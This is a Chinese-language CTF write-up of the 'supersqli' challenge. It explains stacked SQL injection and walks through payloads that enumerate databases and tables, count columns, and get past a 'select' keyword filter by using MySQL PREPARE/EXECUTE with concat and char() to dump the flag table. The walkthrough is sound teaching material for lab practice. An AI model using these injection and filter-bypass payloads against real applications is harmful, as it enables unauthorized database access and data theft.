[CTF/网络安全] 攻防世界 supersqli 解题详析

题目描述:随便注

在这里插入图片描述

堆叠注入

堆叠注入(stacked injection)是一种SQL注入攻击的技术手段,它会在同一行代码中多次使用已知的SQL注入漏洞,从而达到绕过安全措施、执行恶意代码和窃取数据库信息等目的。

堆叠注入攻击利用了SQL语句的连贯性,通过在查询语句中嵌入多个SELECT语句或在UPDATE语句中嵌入多个SET赋值的情况来强行插入额外的恶意代码段。攻击者可以结合已有的SQL注入漏洞,将原本应该被禁止的字符串作为输入参数,进而在SQL语句中构造出额外的恶意代码段,以此实现对数据库进行读写操作或者绕过登录认证等操作。

举例如下:
以下是一条常见的SQL查询语句:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

如果程序没有对用户名和密码进行过滤,攻击者可以通过向用户名或密码参数中输入特定的语句构造SQL注入漏洞。接着,攻击者可以利用堆叠注入攻击,将额外的SQL语句插入到原有查询语句中,例如:

username = 'admin'; SELECT COUNT(*) FROM sensitive_data; # ' AND password = 'password';

在上述语句中,攻击者将额外的代码段插入到用户名参数中,然后使用分号断开原有语句,再插入新的SQL语句。由于分号 ;在SQL中表示多条命令的分隔符,因此这个新的语句不会被认为是语法错误。最终生成的查询语句变成:

SELECT * FROM users WHERE username = 'admin'; SELECT COUNT(*) FROM sensitive_data; # ' AND password = 'password';

由于注释符#表示注释掉其后面的内容,因此程序会执行两次SQL语句,并忽略掉密码的条件,最终返回敏感数据的行数,从而达到了窃取数据库敏感信息的目的。

姿势

判断注入类型

Payload:1'
回显如下:

在这里插入图片描述

Payload:1' and '1'='1
回显如下:
在这里插入图片描述

说明该注入类型为单引号字符型注入

后续步骤同参考链接,但均不可注入,由此考虑堆叠注入。


查库名

Payload:0';show databases;#

在这里插入图片描述

查当前数据库表名

Payload:0';show tables;#

在这里插入图片描述

查words表

Payload:0';desc words;#

0';show columns from `words`;#

回显如下
在这里插入图片描述

查191表

Payload:

0';show columns from `1919810931114514`;#

回显flag字段

查字段

先判断注入点

判断注入点

1' order by 2#  回显正常
1' order by 3#  回显error

则注入点个数为2个

构造查字段POC

0’;select 1,2,group_concat(flag) from 1919810931114514;#

回显如下,select被过滤

在这里插入图片描述

使用 MYSQL 的预处理语句,构造POC如下:

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

PREPARE test from concat('s','elect','* from 1919810931114514') 表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514',并将结果赋值给 test 参数。

EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514表中的所有数据,并将查询结果输出。

回显如下:
在这里插入图片描述

此外,可通过char函数将ASCII值转字符实现select绕过

char函数:

SELECT CHAR(72, 101, 108, 108, 111);

以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。

POC如下:

1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#

115,101,108,101,99,116对应select

总结

该题结合堆叠注入Mysql预处理语句考察sql注入相关姿势,读者可躬身实践。
我是秋说,我们下次见。

posted @ 2023-05-27 10:54  秋说  阅读(194)  评论(0编辑  收藏  举报  来源